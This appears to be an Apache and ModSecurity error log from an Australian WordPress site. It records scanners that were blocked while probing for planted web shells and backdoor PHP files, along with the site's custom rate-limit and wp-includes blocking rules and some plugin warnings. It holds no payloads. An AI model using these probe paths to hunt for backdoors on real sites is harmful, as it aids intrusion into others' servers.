[Fri Apr 24 08:59:36.854369 2026] [:error] [pid 52129:tid 52138] [client 51.68.34.57:57390] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aerAeOKCZKf8_u2LKiAnpQAAAQU"]
[Fri Apr 24 08:59:39.907668 2026] [:error] [pid 19200:tid 19231] [client 51.68.34.57:57392] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aerAezQ--M3-tsKAnhEqQgAAANc"]
[Fri Apr 24 08:59:42.891217 2026] [:error] [pid 19102:tid 19172] [client 51.68.34.57:56828] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aerAfgDSgrbLEZbkqD4z3gAAAIg"]
[Fri Apr 24 08:59:46.260059 2026] [:error] [pid 19200:tid 19224] [client 51.68.34.57:56830] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aerAgjQ--M3-tsKAnhEqXwAAANA"]
[Fri Apr 24 08:59:48.622176 2026] [:error] [pid 19200:tid 19231] [client 51.68.34.57:56844] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aerAhDQ--M3-tsKAnhEqdAAAANc"]
[Fri Apr 24 08:59:51.370020 2026] [:error] [pid 52129:tid 52142] [client 51.68.34.57:56848] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aerAh-KCZKf8_u2LKiAn3QAAAQk"]
[Fri Apr 24 08:59:54.421002 2026] [:error] [pid 19100:tid 19110] [client 51.68.34.57:38608] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aerAirF_hzQs4Cqbifdb0AAAAAE"]
[Fri Apr 24 08:59:57.480043 2026] [:error] [pid 52129:tid 52141] [client 51.68.34.57:38624] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aerAjeKCZKf8_u2LKiAn9wAAAQg"]
[Fri Apr 24 09:00:00.309745 2026] [:error] [pid 19101:tid 19152] [client 51.68.34.57:38626] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aerAkGAHj9bEvrTgbO0m8wAAAE8"]
[Fri Apr 24 09:00:02.962638 2026] [:error] [pid 52129:tid 52156] [client 51.68.34.57:51878] [client 51.68.34.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aerAkuKCZKf8_u2LKiAn-gAAARc"]
[Fri Apr 24 09:39:24.425262 2026] [:error] [pid 19100:tid 19113] [client 78.159.131.56:55425] [client 78.159.131.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/accesson.php"] [unique_id "aerJzLF_hzQs4CqbifdpjAAAAAQ"]
[Fri Apr 24 10:32:04.741684 2026] [:error] [pid 17719:tid 17743] [client 194.26.192.182:59467] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aerWJMTZ9gzEyL1BkPrHDgAAAJA"]
[Fri Apr 24 10:32:05.245210 2026] [:error] [pid 17808:tid 17821] [client 194.26.192.182:59581] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI77QAAAEs"]
[Fri Apr 24 10:32:05.744859 2026] [:error] [pid 17808:tid 17816] [client 194.26.192.182:59848] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aerWJearbOEFI8qshvI8GAAAAEY"]
[Fri Apr 24 10:32:06.249947 2026] [:error] [pid 17720:tid 17758] [client 194.26.192.182:60121] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aerWJuhlUs6BS3Ng7_WoTwAAAMQ"]
[Fri Apr 24 10:32:06.759632 2026] [:error] [pid 17721:tid 17795] [client 194.26.192.182:60431] [client 194.26.192.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aerWJuFXXkLeyDnfk_97GAAAAA4"]
[Fri Apr 24 12:36:24.071990 2026] [proxy_fcgi:error] [pid 17721:tid 17783] [client 103.4.122.14:52924] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Apr 24 12:36:38.975155 2026] [proxy_fcgi:error] [pid 17808:tid 17826] [client 103.4.122.14:53020] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Apr 24 12:57:17.366668 2026] [:error] [pid 17719:tid 17737] [client 43.153.58.28:44268] [client 43.153.58.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aer4LcTZ9gzEyL1BkPok9QAAAIo"]
[Fri Apr 24 16:35:25.195000 2026] [:error] [pid 14531:tid 14542] [client 74.248.96.105:55366] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aesrTXfLU2gw-6KR-GZ7CgAAAUk"]
[Fri Apr 24 16:35:32.295285 2026] [:error] [pid 14531:tid 14535] [client 74.248.96.105:54576] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aesrVHfLU2gw-6KR-GZ7EwAAAUI"]
[Fri Apr 24 16:40:45.117497 2026] [:error] [pid 17720:tid 17758] [client 74.248.96.105:29553] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aessjehlUs6BS3Ng7_UtAQAAAMQ"]
[Fri Apr 24 16:40:51.988973 2026] [:error] [pid 22114:tid 22121] [client 74.248.96.105:60306] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aessk4AuWGz3WlMQjofASgAAAQQ"]
[Fri Apr 24 16:41:01.304204 2026] [:error] [pid 17721:tid 17791] [client 74.248.96.105:25076] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aessneFXXkLeyDnfk__9wAAAAAo"]
[Fri Apr 24 16:41:07.668497 2026] [:error] [pid 17721:tid 17787] [client 74.248.96.105:40198] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-243.php"] [unique_id "aesso-FXXkLeyDnfk__9xQAAAAY"]
[Fri Apr 24 16:41:20.684759 2026] [:error] [pid 17721:tid 17791] [client 74.248.96.105:43599] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "aesssOFXXkLeyDnfk__9yAAAAAo"]
[Fri Apr 24 16:41:24.158946 2026] [:error] [pid 17720:tid 17765] [client 74.248.96.105:26069] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "aesstOhlUs6BS3Ng7_UtVwAAAMs"]
[Fri Apr 24 16:41:31.177096 2026] [:error] [pid 17719:tid 17727] [client 74.248.96.105:3304] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkyac.php"] [unique_id "aessu8TZ9gzEyL1BkPp1JwAAAIA"]
[Fri Apr 24 16:41:37.309614 2026] [:error] [pid 17808:tid 17815] [client 74.248.96.105:48383] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "aesswearbOEFI8qshvLWuwAAAEU"]
[Fri Apr 24 16:41:39.529883 2026] [:error] [pid 17720:tid 17758] [client 74.248.96.105:38239] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "aessw-hlUs6BS3Ng7_UtgAAAAMQ"]
[Fri Apr 24 16:41:40.278844 2026] [:error] [pid 17720:tid 17771] [client 74.248.96.105:3285] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "aessxOhlUs6BS3Ng7_UtiAAAANE"]
[Fri Apr 24 16:41:40.878810 2026] [:error] [pid 14531:tid 14539] [client 74.248.96.105:3392] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wziar1.php"] [unique_id "aessxHfLU2gw-6KR-GZ83AAAAUY"]
[Fri Apr 24 16:41:41.535304 2026] [:error] [pid 17808:tid 17828] [client 74.248.96.105:35699] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aessxearbOEFI8qshvLWwgAAAFI"]
[Fri Apr 24 16:42:26.814427 2026] [:error] [pid 17721:tid 17781] [client 74.248.96.105:38245] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aess8uFXXkLeyDnfk__-CwAAAAA"]
[Fri Apr 24 16:42:33.148564 2026] [:error] [pid 22114:tid 22138] [client 74.248.96.105:21817] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aess-YAuWGz3WlMQjofAkgAAARU"]
[Fri Apr 24 16:42:36.045383 2026] [:error] [pid 17721:tid 17797] [client 74.248.96.105:50380] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aess_OFXXkLeyDnfk__-FQAAABA"]
[Fri Apr 24 16:42:46.023014 2026] [:error] [pid 14531:tid 14542] [client 74.248.96.105:38679] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aestBnfLU2gw-6KR-GZ9PwAAAUk"]
[Fri Apr 24 16:42:50.489735 2026] [:error] [pid 22114:tid 22141] [client 74.248.96.105:3237] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aestCoAuWGz3WlMQjofAnQAAARg"]
[Fri Apr 24 16:42:54.655217 2026] [:error] [pid 22114:tid 22128] [client 74.248.96.105:61234] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-png.php"] [unique_id "aestDoAuWGz3WlMQjofAowAAAQs"]
[Fri Apr 24 16:43:03.252139 2026] [:error] [pid 17808:tid 17812] [client 74.248.96.105:61629] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aestF-arbOEFI8qshvLXcAAAAEI"]
[Fri Apr 24 16:43:04.318545 2026] [:error] [pid 17720:tid 17773] [client 74.248.96.105:50156] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aestGOhlUs6BS3Ng7_UuUgAAANM"]
[Fri Apr 24 16:43:05.124053 2026] [:error] [pid 17808:tid 17815] [client 74.248.96.105:50307] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aestGearbOEFI8qshvLXdgAAAEU"]
[Fri Apr 24 16:43:07.012764 2026] [:error] [pid 17721:tid 17790] [client 74.248.96.105:31498] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tx79.php"] [unique_id "aestG-FXXkLeyDnfk__-SAAAAAk"]
[Fri Apr 24 16:43:08.791059 2026] [:error] [pid 17721:tid 17796] [client 74.248.96.105:61620] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aestHOFXXkLeyDnfk__-TQAAAA8"]
[Fri Apr 24 16:43:09.830530 2026] [:error] [pid 17808:tid 17825] [client 74.248.96.105:50322] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aestHearbOEFI8qshvLXgAAAAE8"]
[Fri Apr 24 16:43:12.707306 2026] [:error] [pid 17721:tid 17805] [client 74.248.96.105:50377] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aestIOFXXkLeyDnfk__-WgAAABg"]
[Fri Apr 24 16:43:16.406982 2026] [:error] [pid 14531:tid 14553] [client 74.248.96.105:48877] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aestJHfLU2gw-6KR-GZ9ZgAAAVQ"]
[Fri Apr 24 16:43:17.966732 2026] [:error] [pid 17808:tid 17815] [client 74.248.96.105:48836] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aestJearbOEFI8qshvLXkwAAAEU"]
[Fri Apr 24 16:43:19.487201 2026] [:error] [pid 17720:tid 17767] [client 74.248.96.105:55926] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aestJ-hlUs6BS3Ng7_UugQAAAM0"]
[Fri Apr 24 16:43:23.206978 2026] [:error] [pid 22114:tid 22139] [client 74.248.96.105:57489] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "aestK4AuWGz3WlMQjofAzAAAARY"]
[Fri Apr 24 16:44:21.120319 2026] [:error] [pid 17721:tid 17784] [client 74.248.96.105:55983] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aestZeFXXkLeyDnfk__-xwAAAAM"]
[Fri Apr 24 16:44:30.229671 2026] [:error] [pid 17720:tid 17777] [client 74.248.96.105:3930] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aestbuhlUs6BS3Ng7_UvQgAAANc"]
[Fri Apr 24 16:44:34.692997 2026] [:error] [pid 22114:tid 22131] [client 74.248.96.105:62284] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aestcoAuWGz3WlMQjofBPwAAAQ4"]
